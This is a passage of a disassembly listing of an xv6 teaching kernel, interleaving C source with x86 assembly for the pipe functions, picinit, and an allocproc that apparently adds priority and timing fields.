80 push $0x8010783c 801031aa: e8 c1 d1 ff ff call 80100370 <panic> 801031af: 90 nop case MPIOINTR: case MPLINTR: p += 8; continue; default: ismp = 0; 801031b0: 31 db xor %ebx,%ebx 801031b2: e9 30 ff ff ff jmp 801030e7 <mpinit+0xf7> 801031b7: 66 90 xchg %ax,%ax 801031b9: 66 90 xchg %ax,%ax 801031bb: 66 90 xchg %ax,%ax 801031bd: 66 90 xchg %ax,%ax 801031bf: 90 nop 801031c0 <picinit>: #define IO_PIC2 0xA0 // Slave (IRQs 8-15) // Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware. void picinit(void) { 801031c0: 55 push %ebp 801031c1: ba 21 00 00 00 mov $0x21,%edx 801031c6: b8 ff ff ff ff mov $0xffffffff,%eax 801031cb: 89 e5 mov %esp,%ebp 801031cd: ee out %al,(%dx) 801031ce: ba a1 00 00 00 mov $0xa1,%edx 801031d3: ee out %al,(%dx) // mask all interrupts outb(IO_PIC1+1, 0xFF); outb(IO_PIC2+1, 0xFF); } 801031d4: 5d pop %ebp 801031d5: c3 ret 801031d6: 66 90 xchg %ax,%ax 801031d8: 66 90 xchg %ax,%ax 801031da: 66 90 xchg %ax,%ax 801031dc: 66 90 xchg %ax,%ax 801031de: 66 90 xchg %ax,%ax 801031e0 <pipealloc>: int writeopen; // write fd is still open }; int pipealloc(struct file **f0, struct file **f1) { 801031e0: 55 push %ebp 801031e1: 89 e5 mov %esp,%ebp 801031e3: 57 push %edi 801031e4: 56 push %esi 801031e5: 53 push %ebx 801031e6: 83 ec 0c sub $0xc,%esp 801031e9: 8b 75 08 mov 0x8(%ebp),%esi 801031ec: 8b 5d 0c mov 0xc(%ebp),%ebx struct pipe *p; p = 0; *f0 = *f1 = 0; 801031ef: c7 03 00 00 00 00 movl $0x0,(%ebx) 801031f5: c7 06 00 00 00 00 movl $0x0,(%esi) if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) 801031fb: e8 70 db ff ff call 80100d70 <filealloc> 80103200: 85 c0 test %eax,%eax 80103202: 89 06 mov %eax,(%esi) 80103204: 0f 84 a8 00 00 00 je 801032b2 <pipealloc+0xd2> 8010320a: e8 61 db ff ff call 80100d70 <filealloc> 8010320f: 85 c0 test %eax,%eax 80103211: 89 03 mov %eax,(%ebx) 80103213: 0f 84 87 00 00 00 je 801032a0 <pipealloc+0xc0> goto bad; if((p = (struct pipe*)kalloc()) == 0) 80103219: e8 62 f2 ff ff call 80102480 <kalloc> 8010321e: 85 c0 test %eax,%eax 80103220: 89 c7 mov %eax,%edi 80103222: 0f 84 b0 00 00 00 je 801032d8 <pipealloc+0xf8> goto bad; p->readopen = 1; p->writeopen = 1; p->nwrite = 0; p->nread = 0; initlock(&p->lock, "pipe"); 80103228: 83 ec 08 sub $0x8,%esp *f0 = *f1 = 0; if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) goto bad; if((p = (struct pipe*)kalloc()) == 0) goto bad; p->readopen = 1; 8010322b: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax) 80103232: 00 00 00 p->writeopen = 1; 80103235: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax) 8010323c: 00 00 00 p->nwrite = 0; 8010323f: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax) 80103246: 00 00 00 p->nread = 0; 80103249: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax) 80103250: 00 00 00 initlock(&p->lock, "pipe"); 80103253: 68 70 78 10 80 push $0x80107870 80103258: 50 push %eax 80103259: e8 d2 12 00 00 call 80104530 <initlock> (*f0)->type = FD_PIPE; 8010325e: 8b 06 mov (%esi),%eax (*f0)->pipe = p; (*f1)->type = FD_PIPE; (*f1)->readable = 0; (*f1)->writable = 1; (*f1)->pipe = p; return 0; 80103260: 83 c4 10 add $0x10,%esp p->readopen = 1; p->writeopen = 1; p->nwrite = 0; p->nread = 0; initlock(&p->lock, "pipe"); (*f0)->type = FD_PIPE; 80103263: c7 00 01 00 00 00 movl $0x1,(%eax) (*f0)->readable = 1; 80103269: 8b 06 mov (%esi),%eax 8010326b: c6 40 08 01 movb $0x1,0x8(%eax) (*f0)->writable = 0; 8010326f: 8b 06 mov (%esi),%eax 80103271: c6 40 09 00 movb $0x0,0x9(%eax) (*f0)->pipe = p; 80103275: 8b 06 mov (%esi),%eax 80103277: 89 78 0c mov %edi,0xc(%eax) (*f1)->type = FD_PIPE; 8010327a: 8b 03 mov (%ebx),%eax 8010327c: c7 00 01 00 00 00 movl $0x1,(%eax) (*f1)->readable = 0; 80103282: 8b 03 mov (%ebx),%eax 80103284: c6 40 08 00 movb $0x0,0x8(%eax) (*f1)->writable = 1; 80103288: 8b 03 mov (%ebx),%eax 8010328a: c6 40 09 01 movb $0x1,0x9(%eax) (*f1)->pipe = p; 8010328e: 8b 03 mov (%ebx),%eax 80103290: 89 78 0c mov %edi,0xc(%eax) if(*f0) fileclose(*f0); if(*f1) fileclose(*f1); return -1; } 80103293: 8d 65 f4 lea -0xc(%ebp),%esp (*f0)->pipe = p; (*f1)->type = FD_PIPE; (*f1)->readable = 0; (*f1)->writable = 1; (*f1)->pipe = p; return 0; 80103296: 31 c0 xor %eax,%eax if(*f0) fileclose(*f0); if(*f1) fileclose(*f1); return -1; } 80103298: 5b pop %ebx 80103299: 5e pop %esi 8010329a: 5f pop %edi 8010329b: 5d pop %ebp 8010329c: c3 ret 8010329d: 8d 76 00 lea 0x0(%esi),%esi //PAGEBREAK: 20 bad: if(p) kfree((char*)p); if(*f0) 801032a0: 8b 06 mov (%esi),%eax 801032a2: 85 c0 test %eax,%eax 801032a4: 74 1e je 801032c4 <pipealloc+0xe4> fileclose(*f0); 801032a6: 83 ec 0c sub $0xc,%esp 801032a9: 50 push %eax 801032aa: e8 81 db ff ff call 80100e30 <fileclose> 801032af: 83 c4 10 add $0x10,%esp if(*f1) 801032b2: 8b 03 mov (%ebx),%eax 801032b4: 85 c0 test %eax,%eax 801032b6: 74 0c je 801032c4 <pipealloc+0xe4> fileclose(*f1); 801032b8: 83 ec 0c sub $0xc,%esp 801032bb: 50 push %eax 801032bc: e8 6f db ff ff call 80100e30 <fileclose> 801032c1: 83 c4 10 add $0x10,%esp return -1; } 801032c4: 8d 65 f4 lea -0xc(%ebp),%esp kfree((char*)p); if(*f0) fileclose(*f0); if(*f1) fileclose(*f1); return -1; 801032c7: b8 ff ff ff ff mov $0xffffffff,%eax } 801032cc: 5b pop %ebx 801032cd: 5e pop %esi 801032ce: 5f pop %edi 801032cf: 5d pop %ebp 801032d0: c3 ret 801032d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi //PAGEBREAK: 20 bad: if(p) kfree((char*)p); if(*f0) 801032d8: 8b 06 mov (%esi),%eax 801032da: 85 c0 test %eax,%eax 801032dc: 75 c8 jne 801032a6 <pipealloc+0xc6> 801032de: eb d2 jmp 801032b2 <pipealloc+0xd2> 801032e0 <pipeclose>: return -1; } void pipeclose(struct pipe *p, int writable) { 801032e0: 55 push %ebp 801032e1: 89 e5 mov %esp,%ebp 801032e3: 56 push %esi 801032e4: 53 push %ebx 801032e5: 8b 5d 08 mov 0x8(%ebp),%ebx 801032e8: 8b 75 0c mov 0xc(%ebp),%esi acquire(&p->lock); 801032eb: 83 ec 0c sub $0xc,%esp 801032ee: 53 push %ebx 801032ef: e8 9c 13 00 00 call 80104690 <acquire> if(writable){ 801032f4: 83 c4 10 add $0x10,%esp 801032f7: 85 f6 test %esi,%esi 801032f9: 74 45 je 80103340 <pipeclose+0x60> p->writeopen = 0; wakeup(&p->nread); 801032fb: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax 80103301: 83 ec 0c sub $0xc,%esp void pipeclose(struct pipe *p, int writable) { acquire(&p->lock); if(writable){ p->writeopen = 0; 80103304: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx) 8010330b: 00 00 00 wakeup(&p->nread); 8010330e: 50 push %eax 8010330f: e8 dc 0d 00 00 call 801040f0 <wakeup> 80103314: 83 c4 10 add $0x10,%esp } else { p->readopen = 0; wakeup(&p->nwrite); } if(p->readopen == 0 && p->writeopen == 0){ 80103317: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx 8010331d: 85 d2 test %edx,%edx 8010331f: 75 0a jne 8010332b <pipeclose+0x4b> 80103321: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax 80103327: 85 c0 test %eax,%eax 80103329: 74 35 je 80103360 <pipeclose+0x80> release(&p->lock); kfree((char*)p); } else release(&p->lock); 8010332b: 89 5d 08 mov %ebx,0x8(%ebp) } 8010332e: 8d 65 f8 lea -0x8(%ebp),%esp 80103331: 5b pop %ebx 80103332: 5e pop %esi 80103333: 5d pop %ebp } if(p->readopen == 0 && p->writeopen == 0){ release(&p->lock); kfree((char*)p); } else release(&p->lock); 80103334: e9 07 14 00 00 jmp 80104740 <release> 80103339: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(writable){ p->writeopen = 0; wakeup(&p->nread); } else { p->readopen = 0; wakeup(&p->nwrite); 80103340: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax 80103346: 83 ec 0c sub $0xc,%esp acquire(&p->lock); if(writable){ p->writeopen = 0; wakeup(&p->nread); } else { p->readopen = 0; 80103349: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx) 80103350: 00 00 00 wakeup(&p->nwrite); 80103353: 50 push %eax 80103354: e8 97 0d 00 00 call 801040f0 <wakeup> 80103359: 83 c4 10 add $0x10,%esp 8010335c: eb b9 jmp 80103317 <pipeclose+0x37> 8010335e: 66 90 xchg %ax,%ax } if(p->readopen == 0 && p->writeopen == 0){ release(&p->lock); 80103360: 83 ec 0c sub $0xc,%esp 80103363: 53 push %ebx 80103364: e8 d7 13 00 00 call 80104740 <release> kfree((char*)p); 80103369: 89 5d 08 mov %ebx,0x8(%ebp) 8010336c: 83 c4 10 add $0x10,%esp } else release(&p->lock); } 8010336f: 8d 65 f8 lea -0x8(%ebp),%esp 80103372: 5b pop %ebx 80103373: 5e pop %esi 80103374: 5d pop %ebp p->readopen = 0; wakeup(&p->nwrite); } if(p->readopen == 0 && p->writeopen == 0){ release(&p->lock); kfree((char*)p); 80103375: e9 56 ef ff ff jmp 801022d0 <kfree> 8010337a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103380 <pipewrite>: } //PAGEBREAK: 40 int pipewrite(struct pipe *p, char *addr, int n) { 80103380: 55 push %ebp 80103381: 89 e5 mov %esp,%ebp 80103383: 57 push %edi 80103384: 56 push %esi 80103385: 53 push %ebx 80103386: 83 ec 28 sub $0x28,%esp 80103389: 8b 5d 08 mov 0x8(%ebp),%ebx int i; acquire(&p->lock); 8010338c: 53 push %ebx 8010338d: e8 fe 12 00 00 call 80104690 <acquire> for(i = 0; i < n; i++){ 80103392: 8b 45 10 mov 0x10(%ebp),%eax 80103395: 83 c4 10 add $0x10,%esp 80103398: 85 c0 test %eax,%eax 8010339a: 0f 8e b9 00 00 00 jle 80103459 <pipewrite+0xd9> 801033a0: 8b 4d 0c mov 0xc(%ebp),%ecx 801033a3: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full if(p->readopen == 0 || myproc()->killed){ release(&p->lock); return -1; } wakeup(&p->nread); 801033a9: 8d bb 34 02 00 00 lea 0x234(%ebx),%edi sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 801033af: 8d b3 38 02 00 00 lea 0x238(%ebx),%esi 801033b5: 89 4d e4 mov %ecx,-0x1c(%ebp) 801033b8: 03 4d 10 add 0x10(%ebp),%ecx 801033bb: 89 4d e0 mov %ecx,-0x20(%ebp) { int i; acquire(&p->lock); for(i = 0; i < n; i++){ while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 801033be: 8b 8b 34 02 00 00 mov 0x234(%ebx),%ecx 801033c4: 8d 91 00 02 00 00 lea 0x200(%ecx),%edx 801033ca: 39 d0 cmp %edx,%eax 801033cc: 74 38 je 80103406 <pipewrite+0x86> 801033ce: eb 59 jmp 80103429 <pipewrite+0xa9> if(p->readopen == 0 || myproc()->killed){ 801033d0: e8 db 03 00 00 call 801037b0 <myproc> 801033d5: 8b 48 24 mov 0x24(%eax),%ecx 801033d8: 85 c9 test %ecx,%ecx 801033da: 75 34 jne 80103410 <pipewrite+0x90> release(&p->lock); return -1; } wakeup(&p->nread); 801033dc: 83 ec 0c sub $0xc,%esp 801033df: 57 push %edi 801033e0: e8 0b 0d 00 00 call 801040f0 <wakeup> sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 801033e5: 58 pop %eax 801033e6: 5a pop %edx 801033e7: 53 push %ebx 801033e8: 56 push %esi 801033e9: e8 12 0a 00 00 call 80103e00 <sleep> { int i; acquire(&p->lock); for(i = 0; i < n; i++){ while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 801033ee: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax 801033f4: 8b 93 38 02 00 00 mov 0x238(%ebx),%edx 801033fa: 83 c4 10 add $0x10,%esp 801033fd: 05 00 02 00 00 add $0x200,%eax 80103402: 39 c2 cmp %eax,%edx 80103404: 75 2a jne 80103430 <pipewrite+0xb0> if(p->readopen == 0 || myproc()->killed){ 80103406: 8b 83 3c 02 00 00 mov 0x23c(%ebx),%eax 8010340c: 85 c0 test %eax,%eax 8010340e: 75 c0 jne 801033d0 <pipewrite+0x50> release(&p->lock); 80103410: 83 ec 0c sub $0xc,%esp 80103413: 53 push %ebx 80103414: e8 27 13 00 00 call 80104740 <release> return -1; 80103419: 83 c4 10 add $0x10,%esp 8010341c: b8 ff ff ff ff mov $0xffffffff,%eax p->data[p->nwrite++ % PIPESIZE] = addr[i]; } wakeup(&p->nread); //DOC: pipewrite-wakeup1 release(&p->lock); return n; } 80103421: 8d 65 f4 lea -0xc(%ebp),%esp 80103424: 5b pop %ebx 80103425: 5e pop %esi 80103426: 5f pop %edi 80103427: 5d pop %ebp 80103428: c3 ret { int i; acquire(&p->lock); for(i = 0; i < n; i++){ while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80103429: 89 c2 mov %eax,%edx 8010342b: 90 nop 8010342c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; } wakeup(&p->nread); sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep } p->data[p->nwrite++ % PIPESIZE] = addr[i]; 80103430: 8b 4d e4 mov -0x1c(%ebp),%ecx 80103433: 8d 42 01 lea 0x1(%edx),%eax 80103436: 83 45 e4 01 addl $0x1,-0x1c(%ebp) 8010343a: 81 e2 ff 01 00 00 and $0x1ff,%edx 80103440: 89 83 38 02 00 00 mov %eax,0x238(%ebx) 80103446: 0f b6 09 movzbl (%ecx),%ecx 80103449: 88 4c 13 34 mov %cl,0x34(%ebx,%edx,1) 8010344d: 8b 4d e4 mov -0x1c(%ebp),%ecx pipewrite(struct pipe *p, char *addr, int n) { int i; acquire(&p->lock); for(i = 0; i < n; i++){ 80103450: 3b 4d e0 cmp -0x20(%ebp),%ecx 80103453: 0f 85 65 ff ff ff jne 801033be <pipewrite+0x3e> wakeup(&p->nread); sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep } p->data[p->nwrite++ % PIPESIZE] = addr[i]; } wakeup(&p->nread); //DOC: pipewrite-wakeup1 80103459: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax 8010345f: 83 ec 0c sub $0xc,%esp 80103462: 50 push %eax 80103463: e8 88 0c 00 00 call 801040f0 <wakeup> release(&p->lock); 80103468: 89 1c 24 mov %ebx,(%esp) 8010346b: e8 d0 12 00 00 call 80104740 <release> return n; 80103470: 83 c4 10 add $0x10,%esp 80103473: 8b 45 10 mov 0x10(%ebp),%eax 80103476: eb a9 jmp 80103421 <pipewrite+0xa1> 80103478: 90 nop 80103479: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103480 <piperead>: } int piperead(struct pipe *p, char *addr, int n) { 80103480: 55 push %ebp 80103481: 89 e5 mov %esp,%ebp 80103483: 57 push %edi 80103484: 56 push %esi 80103485: 53 push %ebx 80103486: 83 ec 18 sub $0x18,%esp 80103489: 8b 5d 08 mov 0x8(%ebp),%ebx 8010348c: 8b 7d 0c mov 0xc(%ebp),%edi int i; acquire(&p->lock); 8010348f: 53 push %ebx 80103490: e8 fb 11 00 00 call 80104690 <acquire> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 80103495: 83 c4 10 add $0x10,%esp 80103498: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax 8010349e: 39 83 38 02 00 00 cmp %eax,0x238(%ebx) 801034a4: 75 6a jne 80103510 <piperead+0x90> 801034a6: 8b b3 40 02 00 00 mov 0x240(%ebx),%esi 801034ac: 85 f6 test %esi,%esi 801034ae: 0f 84 cc 00 00 00 je 80103580 <piperead+0x100> if(myproc()->killed){ release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep 801034b4: 8d b3 34 02 00 00 lea 0x234(%ebx),%esi 801034ba: eb 2d jmp 801034e9 <piperead+0x69> 801034bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801034c0: 83 ec 08 sub $0x8,%esp 801034c3: 53 push %ebx 801034c4: 56 push %esi 801034c5: e8 36 09 00 00 call 80103e00 <sleep> piperead(struct pipe *p, char *addr, int n) { int i; acquire(&p->lock); while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 801034ca: 83 c4 10 add $0x10,%esp 801034cd: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax 801034d3: 39 83 34 02 00 00 cmp %eax,0x234(%ebx) 801034d9: 75 35 jne 80103510 <piperead+0x90> 801034db: 8b 93 40 02 00 00 mov 0x240(%ebx),%edx 801034e1: 85 d2 test %edx,%edx 801034e3: 0f 84 97 00 00 00 je 80103580 <piperead+0x100> if(myproc()->killed){ 801034e9: e8 c2 02 00 00 call 801037b0 <myproc> 801034ee: 8b 48 24 mov 0x24(%eax),%ecx 801034f1: 85 c9 test %ecx,%ecx 801034f3: 74 cb je 801034c0 <piperead+0x40> release(&p->lock); 801034f5: 83 ec 0c sub $0xc,%esp 801034f8: 53 push %ebx 801034f9: e8 42 12 00 00 call 80104740 <release> return -1; 801034fe: 83 c4 10 add $0x10,%esp addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup release(&p->lock); return i; } 80103501: 8d 65 f4 lea -0xc(%ebp),%esp acquire(&p->lock); while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty if(myproc()->killed){ release(&p->lock); return -1; 80103504: b8 ff ff ff ff mov $0xffffffff,%eax addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup release(&p->lock); return i; } 80103509: 5b pop %ebx 8010350a: 5e pop %esi 8010350b: 5f pop %edi 8010350c: 5d pop %ebp 8010350d: c3 ret 8010350e: 66 90 xchg %ax,%ax release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep } for(i = 0; i < n; i++){ //DOC: piperead-copy 80103510: 8b 45 10 mov 0x10(%ebp),%eax 80103513: 85 c0 test %eax,%eax 80103515: 7e 69 jle 80103580 <piperead+0x100> if(p->nread == p->nwrite) 80103517: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax 8010351d: 31 c9 xor %ecx,%ecx 8010351f: eb 15 jmp 80103536 <piperead+0xb6> 80103521: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103528: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax 8010352e: 3b 83 38 02 00 00 cmp 0x238(%ebx),%eax 80103534: 74 5a je 80103590 <piperead+0x110> break; addr[i] = p->data[p->nread++ % PIPESIZE]; 80103536: 8d 70 01 lea 0x1(%eax),%esi 80103539: 25 ff 01 00 00 and $0x1ff,%eax 8010353e: 89 b3 34 02 00 00 mov %esi,0x234(%ebx) 80103544: 0f b6 44 03 34 movzbl 0x34(%ebx,%eax,1),%eax 80103549: 88 04 0f mov %al,(%edi,%ecx,1) release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep } for(i = 0; i < n; i++){ //DOC: piperead-copy 8010354c: 83 c1 01 add $0x1,%ecx 8010354f: 39 4d 10 cmp %ecx,0x10(%ebp) 80103552: 75 d4 jne 80103528 <piperead+0xa8> if(p->nread == p->nwrite) break; addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup 80103554: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax 8010355a: 83 ec 0c sub $0xc,%esp 8010355d: 50 push %eax 8010355e: e8 8d 0b 00 00 call 801040f0 <wakeup> release(&p->lock); 80103563: 89 1c 24 mov %ebx,(%esp) 80103566: e8 d5 11 00 00 call 80104740 <release> return i; 8010356b: 8b 45 10 mov 0x10(%ebp),%eax 8010356e: 83 c4 10 add $0x10,%esp } 80103571: 8d 65 f4 lea -0xc(%ebp),%esp 80103574: 5b pop %ebx 80103575: 5e pop %esi 80103576: 5f pop %edi 80103577: 5d pop %ebp 80103578: c3 ret 80103579: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep } for(i = 0; i < n; i++){ //DOC: piperead-copy 80103580: c7 45 10 00 00 00 00 movl $0x0,0x10(%ebp) 80103587: eb cb jmp 80103554 <piperead+0xd4> 80103589: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103590: 89 4d 10 mov %ecx,0x10(%ebp) 80103593: eb bf jmp 80103554 <piperead+0xd4> 80103595: 66 90 xchg %ax,%ax 80103597: 66 90 xchg %ax,%ax 80103599: 66 90 xchg %ax,%ax 8010359b: 66 90 xchg %ax,%ax 8010359d: 66 90 xchg %ax,%ax 8010359f: 90 nop 801035a0 <allocproc>: // Look in the process table for an UNUSED proc. // If found, change state to EMBRYO and initialize // state required to run in the kernel. // Otherwise return 0. static struct proc *allocproc(void) { 801035a0: 55 push %ebp 801035a1: 89 e5 mov %esp,%ebp 801035a3: 53 push %ebx struct proc *p; char *sp; acquire(&ptable.lock); for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801035a4: bb 34 29 11 80 mov $0x80112934,%ebx // Look in the process table for an UNUSED proc. // If found, change state to EMBRYO and initialize // state required to run in the kernel. // Otherwise return 0. static struct proc *allocproc(void) { 801035a9: 83 ec 10 sub $0x10,%esp struct proc *p; char *sp; acquire(&ptable.lock); 801035ac: 68 00 29 11 80 push $0x80112900 801035b1: e8 da 10 00 00 call 80104690 <acquire> 801035b6: 83 c4 10 add $0x10,%esp 801035b9: eb 17 jmp 801035d2 <allocproc+0x32> 801035bb: 90 nop 801035bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801035c0: 81 c3 ac 00 00 00 add $0xac,%ebx 801035c6: 81 fb 34 54 11 80 cmp $0x80115434,%ebx 801035cc: 0f 84 ae 00 00 00 je 80103680 <allocproc+0xe0> if (p->state == UNUSED) 801035d2: 8b 43 0c mov 0xc(%ebx),%eax 801035d5: 85 c0 test %eax,%eax 801035d7: 75 e7 jne 801035c0 <allocproc+0x20> release(&ptable.lock); return 0; found: p->state = EMBRYO; p->pid = nextpid++; 801035d9: a1 04 a0 10 80 mov 0x8010a004,%eax //p->stime=p->etime = ticks; //p->rtime = 0; p->priority = 60; // Default priority release(&ptable.lock); 801035de: 83 ec 0c sub $0xc,%esp release(&ptable.lock); return 0; found: p->state = EMBRYO; 801035e1: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx) p->pid = nextpid++; //p->stime=p->etime = ticks; //p->rtime = 0; p->priority = 60; // Default priority release(&ptable.lock); 801035e8: 68 00 29 11 80 push $0x80112900 found: p->state = EMBRYO; p->pid = nextpid++; //p->stime=p->etime = ticks; //p->rtime = 0; p->priority = 60; // Default priority 801035ed: c7 83 8c 00 00 00 3c movl $0x3c,0x8c(%ebx) 801035f4: 00 00 00 release(&ptable.lock); return 0; found: p->state = EMBRYO; p->pid = nextpid++; 801035f7: 8d 50 01 lea 0x1(%eax),%edx 801035fa: 89 43 10 mov %eax,0x10(%ebx) 801035fd: 89 15 04 a0 10 80 mov %edx,0x8010a004 //p->stime=p->etime = ticks; //p->rtime = 0; p->priority = 60; // Default priority release(&ptable.lock); 80103603: e8 38 11 00 00 call 80104740 <release> // Allocate kernel stack. if ((p->kstack = kalloc()) == 0) 80103608: e8 73 ee ff ff call 80102480 <kalloc> 8010360d: 83 c4 10 add $0x10,%esp 80103610: 85 c0 test %eax,%eax 80103612: 89 43 08 mov %eax,0x8(%ebx) 80103615: 0f 84 7c 00 00 00 je 80103697 <allocproc+0xf7> return 0; } sp = p->kstack + KSTACKSIZE; // Leave room for trap frame. sp -= sizeof *p->tf; 8010361b: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx sp -= 4; *(uint *)sp = (uint)trapret; sp -= sizeof *p->context; p->context = (struct context *)sp; memset(p->context, 0, sizeof *p->context); 80103621: 83 ec 04 sub $0x4,%esp // Set up new context to start executing at forkret, // which returns to trapret. sp -= 4; *(uint *)sp = (uint)trapret; sp -= sizeof *p->context; 80103624: 05 9c 0f 00 00 add $0xf9c,%eax return 0; } sp = p->kstack + KSTACKSIZE; // Leave room for trap frame. sp -= sizeof *p->tf; 80103629: 89 53 18 mov %edx,0x18(%ebx) p->tf = (struct trapframe *)sp; // Set up new context to start executing at forkret, // which returns to trapret. sp -= 4; *(uint *)sp = (uint)trapret; 8010362c: c7 40 14 9f 5a 10 80 movl $0x80105a9f,0x14(%eax) sp -= sizeof *p->context; p->context = (struct context *)sp; memset(p->context, 0, sizeof *p->context); 80103633: 6a 14 push $0x14 80103635: 6a 00 push $0x0 80103637: 50 push %eax // which returns to trapret. sp -= 4; *(uint *)sp = (uint)trapret; sp -= sizeof *p->context; p->context = (struct context *)sp; 80103638: 89 43 1c mov %eax,0x1c(%ebx) memset(p->context, 0, sizeof *p->context); 8010363b: e8 50 11 00 00 call 80104790 <memset> p->context->eip = (uint)forkret; 80103640: 8b 43 1c mov 0x1c(%ebx),%eax p->stime = ticks; // start time p->etime = 0; // end time p->rtime = 0; // run time p->iotime = 0; // I/O time return p; 80103643: 83 c4 10 add $0x10,%esp *(uint *)sp = (uint)trapret; sp -= sizeof *p->context; p->context = (struct context *)sp; memset(p->context, 0, sizeof *p->context); p->context->eip = (uint)forkret; 80103646: c7 40 10 a0 36 10 80 movl $0x801036a0,0x10(%eax) p->stime = ticks; // start time 8010364d: a1 80 5c 11 80 mov 0x80115c80,%eax p->etime = 0; // end time 80103652: c7 83 80 00 00 00 00 movl $0x0,0x80(%ebx) 80103659: 00 00 00 p->rtime = 0; // run time 8010365c: c7 83 84 00 00 00 00 movl $0x0,0x84(%ebx) 80103663: 00 00 00 p->iotime = 0; // I/O time 80103666: c7 83 88 00 00 00 00 movl $0x0,0x88(%ebx) 8010366d: 00 00 00 sp -= sizeof *p->context; p->context = (struct context *)sp; memset(p->context, 0, sizeof *p->context); p->context->eip = (uint)forkret; p->stime = ticks; // start time 80103670: 89 43 7c mov %eax,0x7c(%ebx) p->etime = 0; // end time p->rtime = 0; // run time p->iotime = 0; // I/O time return p; 80103673: 89 d8 mov %ebx,%eax } 80103675: 8b 5d fc mov -0x4(%ebp),%ebx 80103678: c9 leave 80103679: c3 ret 8010367a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) if (p->state == UNUSED) goto found; release(&ptable.lock); 80103680: 83 ec 0c sub $0xc,%esp 80103683: 68 00 29 11 80 push $0x80112900 80103688: e8 b3 10 00 00 call 80104740 <release> return 0; 8010368d: 83 c4 10 add $0x10,%esp 80103690: 31 c0 xor %eax,%eax p->etime = 0; // end time p->rtime = 0; // run time p->iotime = 0; // I/O time return p; } 80103692: 8b 5d fc mov -0x4(%ebp),%ebx 80103695: c9 leave 80103696: c3 ret release(&ptable.lock); // Allocate kernel stack. if ((p->kstack = kalloc()) == 0) { p->state = UNUSED; 80103697: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) return 0; 8010369e: eb d5 jmp 80103675 <allocproc+0xd5> 801036a0 <forkret>: } // A fork child's very first scheduling by scheduler() // will swtch here. "Return" to user space. void forkret(void) { 801036a0: 55 push %ebp 801036a1: 89 e5 mov %esp,%ebp 801036a3: 83 ec 14 sub $0x14,%esp static int first = 1; // Still holding ptable.lock from scheduler. release(&ptable.lock); 801036a6: 68 00 29 11 80 push $0x80112900 801036ab: e8 90 10 00 00 call 80104740 <release> if (first) 801036b0: a1 00 a0 10 80 mov 0x8010a000,%eax 801036b5: 83 c4 10 add $0x10,%esp 801036b8: 85 c0 test %eax,%eax 801036ba: 75 04 jne 801036c0 <forkret+0x20> iinit(ROOTDEV); initlog(ROOTDEV); } // Return to "caller", actually trapret (see allocproc). } 801036bc: c9 leave 801036bd: c3 ret 801036be: 66 90 xchg %ax,%ax { // Some initialization functions must be run in the context // of a regular process (e.g., they call sleep), and thus cannot // be run from main(). first = 0; iinit(ROOTDEV); 801036c0: 83 ec 0c sub $0xc,%esp if (first) { // Some initialization functions must be run in the context // of a regular process (e.g., they call sleep), and thus cannot // be run from main(). first = 0; 801036c3: c7 05 00 a0 10 80 00 movl $0x0,0x8010a000 801036ca: 00 00 00 iinit(ROOTDEV); 801036cd: 6a 01 push $0x1 801036cf: e8 8c dd ff ff call 80101460 <iinit> 